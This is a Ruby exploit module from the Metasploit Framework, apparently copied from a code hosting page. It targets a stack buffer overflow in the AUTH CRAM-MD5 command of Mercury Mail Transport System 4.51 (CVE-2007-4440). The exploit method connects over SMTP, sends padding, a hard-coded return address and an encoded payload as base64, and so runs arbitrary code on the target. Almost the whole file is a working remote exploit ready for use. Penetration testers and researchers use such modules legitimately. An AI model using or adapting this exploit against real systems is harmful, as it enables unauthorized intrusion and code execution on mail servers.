86 lines
1.9 KiB
Ruby
86 lines
1.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Mercury Mail Transport System 4.51.
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By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker
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may be able to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2007-4440' ],
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[ 'OSVDB', '39669' ],
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[ 'BID', '25357' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Platform' => 'win',
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x0a\x0d\x20\x25",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[ 'Mercury Mail Transport System 4.51', { 'Ret' => 0x258d0d1e } ], # ter32.dll
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 18 2007'))
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register_options([ Opt::RPORT(25) ], self.class)
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end
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def exploit
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connect
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sock.get_once
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sock.put("EHLO\r\n")
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sock.get_once
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sock.put("AUTH CRAM-MD5\r\n")
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sock.get_once
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sleep(0.25)
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buffer = rand_text_alpha_upper(204) + [target.ret].pack('V')
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buffer << payload.encoded + rand_text_alpha_upper(1075 - payload.encoded.length)
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sploit = Rex::Text.encode_base64(buffer)
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print_status("Trying target #{target.name}...")
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sock.put(sploit + "\r\n")
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handler
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disconnect
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end
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end
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